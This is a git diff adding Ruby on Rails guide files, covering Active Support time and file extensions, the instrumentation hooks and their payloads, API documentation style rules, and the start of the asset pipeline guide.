+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+```
+
+Extensions to `Time`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
+
+Active Support adds to `Time` many of the methods available for `DateTime`:
+
+```ruby
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+They are analogous. Please refer to their documentation above and take into account the following differences:
+
+* `change` accepts an additional `:usec` option.
+* `Time` understands DST, so you get correct DST calculations as in
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(seconds: 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+```
+
+* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+
+#### `Time.current`
+
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
+
+#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
+
+The method `all_day` returns a range representing the whole day of the current time.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+```
+
+Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+```
+
+### Time Constructors
+
+Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+```
+
+Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
+
+If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
+
+#### Durations
+
+Durations can be added to and subtracted from time objects:
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+```
+
+Extensions to `File`
+--------------------
+
+### `atomic_write`
+
+With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like `all.css`:
+
+```ruby
+File.atomic_write(joined_asset_path) do |cache|
+ cache.write(join_asset_file_contents(asset_paths))
+end
+```
+
+To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is [...]
+
+NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified.
+
+WARNING. Note you can't append with `atomic_write`.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
+
+Extensions to `Marshal`
+-----------------------
+
+### `load`
+
+Active Support adds constant autoloading support to `load`.
+
+For example, the file cache store deserializes this way:
+
+```ruby
+File.open(file_name) { |f| Marshal.load(f) }
+```
+
+If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.
+
+WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`.
+
+NOTE: Defined in `active_support/core_ext/marshal.rb`.
+
+Extensions to `Logger`
+----------------------
+
+### `around_[level]`
+
+Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:
+
+```ruby
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
+```
+
+### `silence`
+
+Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
+
+```ruby
+logger = Logger.new("log/development.log")
+logger.silence(Logger::INFO) do
+ logger.debug("In space, no one can hear you scream.")
+ logger.info("Scream all you want, small mailman!")
+end
+```
+
+### `datetime_format=`
+
+Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.
+
+```ruby
+class Logger::FormatWithTime < Logger::Formatter
+ cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
+
+ def self.call(severity, timestamp, progname, msg)
+ "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
+ end
+end
+
+logger = Logger.new("log/development.log")
+logger.formatter = Logger::FormatWithTime
+logger.info("<- is the current time")
+```
+
+NOTE: Defined in `active_support/core_ext/logger.rb`.
+
+Extensions to `NameError`
+-------------------------
+
+Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/name_error.rb`.
+
+Extensions to `LoadError`
+-------------------------
+
+Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.
+
+Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+rescue MissingSourceFile => e
+ raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/load_error.rb`.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
new file mode 100644
index 0000000..38dbfd3
--- /dev/null
+++ b/guides/source/active_support_instrumentation.md
@@ -0,0 +1,487 @@
+Active Support Instrumentation
+==============================
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+
+After reading this guide, you will know:
+
+* What instrumentation can provide.
+* The hooks inside the Rails framework for instrumentation.
+* Adding a subscriber to a hook.
+* Building a custom instrumentation implementation.
+
+--------------------------------------------------------------------------------
+
+Introduction to instrumentation
+-------------------------------
+
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+Rails framework hooks
+---------------------
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+
+Action Controller
+-----------------
+
+### write_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ key: 'posts/1-dasboard-view'
+}
+```
+
+### read_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ key: 'posts/1-dasboard-view'
+}
+```
+
+### expire_fragment.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ key: 'posts/1-dasboard-view'
+}
+```
+
+### exist_fragment?.action_controller
+
+| Key | Value |
+| ------ | ---------------- |
+| `:key` | The complete key |
+
+```ruby
+{
+ key: 'posts/1-dasboard-view'
+}
+```
+
+### write_page.action_controller
+
+| Key | Value |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+ path: '/users/1'
+}
+```
+
+### expire_page.action_controller
+
+| Key | Value |
+| ------- | ----------------- |
+| `:path` | The complete path |
+
+```ruby
+{
+ path: '/users/1'
+}
+```
+
+### start_processing.action_controller
+
+| Key | Value |
+| ------------- | --------------------------------------------------------- |
+| `:controller` | The controller name |
+| `:action` | The action |
+| `:params` | Hash of request parameters without any filtered parameter |
+| `:format` | html/js/json/xml etc |
+| `:method` | HTTP request verb |
+| `:path` | Request path |
+
+```ruby
+{
+ controller: "PostsController",
+ action: "new",
+ params: { "action" => "new", "controller" => "posts" },
+ format: :html,
+ method: "GET",
+ path: "/posts/new"
+}
+```
+
+### process_action.action_controller
+
+| Key | Value |
+| --------------- | --------------------------------------------------------- |
+| `:controller` | The controller name |
+| `:action` | The action |
+| `:params` | Hash of request parameters without any filtered parameter |
+| `:format` | html/js/json/xml etc |
+| `:method` | HTTP request verb |
+| `:path` | Request path |
+| `:view_runtime` | Amount spent in view in ms |
+
+```ruby
+{
+ controller: "PostsController",
+ action: "index",
+ params: {"action" => "index", "controller" => "posts"},
+ format: :html,
+ method: "GET",
+ path: "/posts",
+ status: 200,
+ view_runtime: 46.848,
+ db_runtime: 0.157
+}
+```
+
+### send_file.action_controller
+
+| Key | Value |
+| ------- | ------------------------- |
+| `:path` | Complete path to the file |
+
+INFO. Additional keys may be added by the caller.
+
+### send_data.action_controller
+
+`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+
+### redirect_to.action_controller
+
+| Key | Value |
+| ----------- | ------------------ |
+| `:status` | HTTP response code |
+| `:location` | URL to redirect to |
+
+```ruby
+{
+ status: 302,
+ location: "http://localhost:3000/posts/new"
+}
+```
+
+### halted_callback.action_controller
+
+| Key | Value |
+| --------- | ----------------------------- |
+| `:filter` | Filter that halted the action |
+
+```ruby
+{
+ filter: ":halting_filter"
+}
+```
+
+Action View
+-----------
+
+### render_template.action_view
+
+| Key | Value |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+| `:layout` | Applicable layout |
+
+```ruby
+{
+ identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+ layout: "layouts/application"
+}
+```
+
+### render_partial.action_view
+
+| Key | Value |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+
+```ruby
+{
+ identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+}
+```
+
+Active Record
+------------
+
+### sql.active_record
+
+| Key | Value |
+| ------------ | --------------------- |
+| `:sql` | SQL statement |
+| `:name` | Name of the operation |
+| `:object_id` | `self.object_id` |
+
+INFO. The adapters will add their own data as well.
+
+```ruby
+{
+ sql: "SELECT \"posts\".* FROM \"posts\" ",
+ name: "Post Load",
+ connection_id: 70307250813140,
+ binds: []
+}
+```
+
+### identity.active_record
+
+| Key | Value |
+| ---------------- | ----------------------------------------- |
+| `:line` | Primary Key of object in the identity map |
+| `:name` | Record's class |
+| `:connection_id` | `self.object_id` |
+
+Action Mailer
+-------------
+
+### receive.action_mailer
+
+| Key | Value |
+| ------------- | -------------------------------------------- |
+| `:mailer` | Name of the mailer class |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject` | Subject of the mail |
+| `:to` | To address(es) of the mail |
+| `:from` | From address of the mail |
+| `:bcc` | BCC addresses of the mail |
+| `:cc` | CC addresses of the mail |
+| `:date` | Date of the mail |
+| `:mail` | The encoded form of the mail |
+
+```ruby
+{
+ mailer: "Notification",
+ message_id: "4f5b5491f1774_181b23fc3d4434d38138e5 at mba.local.mail",
+ subject: "Rails Guides",
+ to: ["users at rails.com", "ddh at rails.com"],
+ from: ["me at rails.com"],
+ date: Sat, 10 Mar 2012 14:18:09 +0100,
+ mail: "..." # omitted for brevity
+}
+```
+
+### deliver.action_mailer
+
+| Key | Value |
+| ------------- | -------------------------------------------- |
+| `:mailer` | Name of the mailer class |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject` | Subject of the mail |
+| `:to` | To address(es) of the mail |
+| `:from` | From address of the mail |
+| `:bcc` | BCC addresses of the mail |
+| `:cc` | CC addresses of the mail |
+| `:date` | Date of the mail |
+| `:mail` | The encoded form of the mail |
+
+```ruby
+{
+ mailer: "Notification",
+ message_id: "4f5b5491f1774_181b23fc3d4434d38138e5 at mba.local.mail",
+ subject: "Rails Guides",
+ to: ["users at rails.com", "ddh at rails.com"],
+ from: ["me at rails.com"],
+ date: Sat, 10 Mar 2012 14:18:09 +0100,
+ mail: "..." # omitted for brevity
+}
+```
+
+ActiveResource
+--------------
+
+### request.active_resource
+
+| Key | Value |
+| -------------- | -------------------- |
+| `:method` | HTTP method |
+| `:request_uri` | Complete URI |
+| `:result` | HTTP response object |
+
+Active Support
+--------------
+
+### cache_read.active_support
+
+| Key | Value |
+| ------------------ | ------------------------------------------------- |
+| `:key` | Key used in the store |
+| `:hit` | If this read is a hit |
+| `:super_operation` | :fetch is added when a read is used with `#fetch` |
+
+### cache_generate.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload when writing to the store
+
+```ruby
+{
+ key: 'name-of-complicated-computation'
+}
+```
+
+
+### cache_fetch_hit.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload.
+
+```ruby
+{
+ key: 'name-of-complicated-computation'
+}
+```
+
+### cache_write.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Cache stores my add their own keys
+
+```ruby
+{
+ key: 'name-of-complicated-computation'
+}
+```
+
+### cache_delete.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+ key: 'name-of-complicated-computation'
+}
+```
+
+### cache_exist?.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+ key: 'name-of-complicated-computation'
+}
+```
+
+Rails
+-----
+
+### deprecation.rails
+
+| Key | Value |
+| ------------ | ------------------------------- |
+| `:message` | The deprecation warning |
+| `:callstack` | Where the deprecation came from |
+
+Subscribing to an event
+-----------------------
+
+Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+* The name of the event
+* Time when it started
+* Time when it finished
+* An unique ID for this event
+* The payload (described in previous sections)
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+ # your own custom stuff
+ Rails.logger.info "#{name} Received!"
+end
+```
+
+Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
+from block arguments like this:
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ event = ActiveSupport::Notifications::Event.new *args
+
+ event.name # => "process_action.action_controller"
+ event.duration # => 10 (in milliseconds)
+ event.payload # => {:extra=>information}
+
+ Rails.logger.info "#{event} Received!"
+end
+```
+
+Most times you only care about the data itself. Here is a shortcut to just get the data.
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ data = args.extract_options!
+ data # { extra: :information }
+```
+
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from `ActionController`.
+
+```ruby
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+ # inspect all ActionController events
+end
+```
+
+Creating custom events
+----------------------
+
+Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
+all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
+The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
+as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
+
+Here's an example:
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+ # do your custom stuff here
+end
+```
+
+Now you can listen to this event with:
+
+```ruby
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+ puts data.inspect # {:this=>:data}
+end
+```
+
+You should follow Rails conventions when defining your own events. The format is: `event.library`.
+If you application is sending Tweets, you should create an event named `tweet.twitter`.
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
new file mode 100644
index 0000000..d049987
--- /dev/null
+++ b/guides/source/api_documentation_guidelines.md
@@ -0,0 +1,209 @@
+API Documentation Guidelines
+============================
+
+This guide documents the Ruby on Rails API documentation guidelines.
+
+After reading this guide, you will know:
+
+* How to write effective prose for documentation purposes.
+* Style guidelines for documenting different kinds of Ruby code.
+
+--------------------------------------------------------------------------------
+
+RDoc
+----
+
+The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
+
+Wording
+-------
+
+Write simple, declarative sentences. Brevity is a plus: get to the point.
+
+Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+
+Start comments in upper case. Follow regular punctuation rules:
+
+```ruby
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+ ...
+end
+```
+
+Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
+
+Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+
+Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+
+Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+
+English
+-------
+
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+
+Example Code
+------------
+
+Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
+
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
+
+Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
+
+```ruby
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+```
+
+On the other hand, big chunks of structured documentation may have a separate "Examples" section:
+
+```ruby
+# ==== Examples
+#
+# Person.exists?(5)
+# Person.exists?('5')
+# Person.exists?(name: "David")
+# Person.exists?(['name LIKE ?', "%#{query}%"])
+```
+
+The results of expressions follow them and are introduced by "# => ", vertically aligned:
+
+```ruby
+# For checking if a fixnum is even or odd.
+#
+# 1.even? # => false
+# 1.odd? # => true
+# 2.even? # => true
+# 2.odd? # => false
+```
+
+If a line is too long, the comment may be placed on the next line:
+
+```ruby
+# label(:post, :title)
+# # => <label for="post_title">Title</label>
+#
+# label(:post, :title, "A short title")
+# # => <label for="post_title">A short title</label>
+#
+# label(:post, :title, "A short title", class: "title_label")
+# # => <label for="post_title" class="title_label">A short title</label>
+```
+
+Avoid using any printing methods like `puts` or `p` for that purpose.
+
+On the other hand, regular comments do not use an arrow:
+
+```ruby
+# polymorphic_url(record) # same as comment_url(record)
+```
+
+Filenames
+---------
+
+As a rule of thumb, use filenames relative to the application root:
+
+```
+config/routes.rb # YES
+routes.rb # NO
+RAILS_ROOT/config/routes.rb # NO
+```
+
+Fonts
+-----
+
+### Fixed-width Font
+
+Use fixed-width fonts for:
+
+* Constants, in particular class and module names.
+* Method names.
+* Literals like `nil`, `false`, `true`, `self`.
+* Symbols.
+* Method parameters.
+* File names.
+
+```ruby
+class Array
+ # Calls +to_param+ on all its elements and joins the result with
+ # slashes. This is used by +url_for+ in Action Pack.
+ def to_param
+ collect { |e| e.to_param }.join '/'
+ end
+end
+```
+
+WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
+
+### Regular Font
+
+When "true" and "false" are English words rather than Ruby keywords use a regular font:
+
+```ruby
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+ ...
+end
+```
+
+Description Lists
+-----------------
+
+In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
+
+```ruby
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+```
+
+The description starts in upper case and ends with a full stop—it's standard English.
+
+Dynamically Generated Methods
+-----------------------------
+
+Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+
+```ruby
+for severity in Severity.constants
+ class_eval <<-EOT, __FILE__, __LINE__
+ def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
+ add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block)
+ end # end
+ #
+ def #{severity.downcase}? # def debug?
+ #{severity} >= @level # DEBUG >= @level
+ end # end
+ EOT
+end
+```
+
+If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
+
+```ruby
+# def self.find_by_login_and_activated(*args)
+# options = args.extract_options!
+# ...
+# end
+self.class_eval %{
+ def self.#{method_id}(*args)
+ options = args.extract_options!
+ ...
+ end
+}
+```
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
new file mode 100644
index 0000000..43df544
--- /dev/null
+++ b/guides/source/asset_pipeline.md
@@ -0,0 +1,832 @@
+The Asset Pipeline
+==================
+
+This guide covers the asset pipeline.
+
+After reading this guide, you will know:
+
+* How to understand what the asset pipeline is and what it does.
+* How to properly organize your application assets.
+* How to understand the benefits of the asset pipeline.
+* How to add a pre-processor to the pipeline.
+* How to package assets with a gem.
+
+--------------------------------------------------------------------------------
+
+What is the Asset Pipeline?
+---------------------------
+
+The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
+
+Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
+
+The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:
+
+```ruby
+config.assets.enabled = false
+```
+
+You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
+
+
+### Main Features
+
+The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
+
+Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `cache: true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+
+Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.
+
+The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
+
+The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
+
+### What is Fingerprinting and Why Should I Care?
+
+Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
+
+When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
+
+The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:
+
+```
+global-908e25f4bf641868d8683022a5b62f54.css
+```
+
+This is the strategy adopted by the Rails asset pipeline.
+
+Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+
+```
+/stylesheets/global.css?1309495796
+```
+
+The query string strategy has several disadvantages:
+
+1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
+ [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**<br />
+ The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
+3. **Too much cache invalidation**<br />
+ When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.
+
+More reading:
+
+* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
